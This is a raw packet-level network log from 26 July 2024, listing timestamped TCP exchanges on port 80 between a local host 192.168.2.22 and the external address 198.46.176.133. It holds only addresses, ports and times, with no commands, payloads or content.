Jul 26, 2024 13:08:57.845156908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845175982 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845478058 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845489979 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845500946 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845511913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845520020 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845530033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845537901 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845567942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845920086 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845932007 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845942974 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845953941 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845963955 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845977068 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.845983982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.845994949 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846005917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846019030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846028090 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.846036911 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846046925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846059084 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846066952 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.846076012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846087933 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.846852064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846862078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846874952 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.846887112 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.846909046 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.847491026 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.847599030 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.847664118 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.847815037 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.847980976 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.847991943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848014116 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848201036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848212957 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848227024 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848233938 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848270893 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848448992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848460913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848472118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848489046 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848496914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848532915 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848860979 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848872900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848884106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848896980 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848903894 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848912954 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848922968 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848948002 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.848962069 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848973989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.848995924 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.849178076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849189043 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849200964 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849212885 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849217892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849229097 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.849245071 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.849251986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849263906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849273920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849286079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849294901 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.849303007 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849315882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849324942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.849333048 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.849356890 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.850223064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850234985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850245953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850256920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850267887 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.850275993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850282907 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.850294113 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850303888 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850315094 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850323915 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.850331068 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850342035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850349903 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.850358963 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850369930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.850392103 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851205111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851236105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851253986 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851280928 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851360083 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851388931 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851406097 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851433992 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851463079 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851491928 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851510048 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851536036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851566076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851594925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851612091 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851639032 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851666927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.851684093 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.851712942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852065086 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852111101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852140903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852159023 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852186918 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852215052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852233887 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852261066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852292061 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852324009 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852340937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852375984 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852397919 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852427959 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852457047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852505922 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852529049 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852549076 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852572918 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852606058 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.852650881 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.852993011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853023052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853072882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853101969 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853121996 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.853149891 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853178024 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853197098 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.853224993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853257895 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853276968 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.853305101 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853332996 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853363991 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.853384018 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.937814951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.937834978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.937841892 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.937846899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.937854052 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.937896967 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938000917 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938014030 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938030958 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938069105 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938174009 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938184023 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938194990 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938205957 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938230991 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938565016 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938574076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938584089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938594103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938604116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938612938 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938621998 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938627958 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938956976 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938966036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938976049 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.938987017 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.938992977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939002037 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.939008951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939018011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939049959 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.939651012 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939660072 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939671993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939680099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.939694881 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.939711094 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.940637112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940692902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940702915 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940746069 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.940881014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940891027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940907955 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940917969 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.940947056 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941104889 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941143990 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941267967 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941277027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941287994 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941298008 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941306114 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941313982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941323042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941338062 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941355944 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941696882 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941705942 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941716909 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941726923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941736937 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941741943 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941751003 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941756010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941765070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941775084 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.941782951 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.941801071 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942274094 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942351103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942361116 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942369938 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942379951 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942392111 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942398071 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942409039 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942414045 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942423105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942433119 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942444086 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942450047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942456961 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.942464113 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942477942 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942487001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.942512035 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.943183899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943195105 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943205118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943209887 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943214893 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943219900 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943224907 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943229914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943236113 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943239927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943244934 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943254948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.943312883 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.943331003 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944077015 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944087982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944097042 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944106102 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944114923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944125891 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944129944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944139004 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944145918 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944155931 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944166899 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944176912 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944184065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944192886 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944200039 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944211006 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944220066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944236994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944888115 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944897890 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944912910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944922924 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944932938 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944947004 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944953918 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.944962025 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944972038 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944981098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.944998980 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945003986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945018053 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945028067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945039034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945044994 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945060015 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945684910 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945697069 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945702076 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945708036 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945715904 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945730925 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945736885 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945736885 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945750952 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945760965 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945766926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945781946 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945792913 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945802927 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945811033 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:57.945821047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:57.945832014 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.031281948 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031331062 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031343937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031352997 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031435013 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031449080 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031456947 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031462908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031471014 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031487942 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.031555891 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.031729937 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031867981 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031879902 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031896114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031903028 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031908035 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031919003 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031929970 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.031944990 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.031955957 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.032457113 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032469034 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032480001 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032521009 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.032532930 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032543898 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032555103 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.032567978 CEST	49171	80	192.168.2.22	198.46.176.133
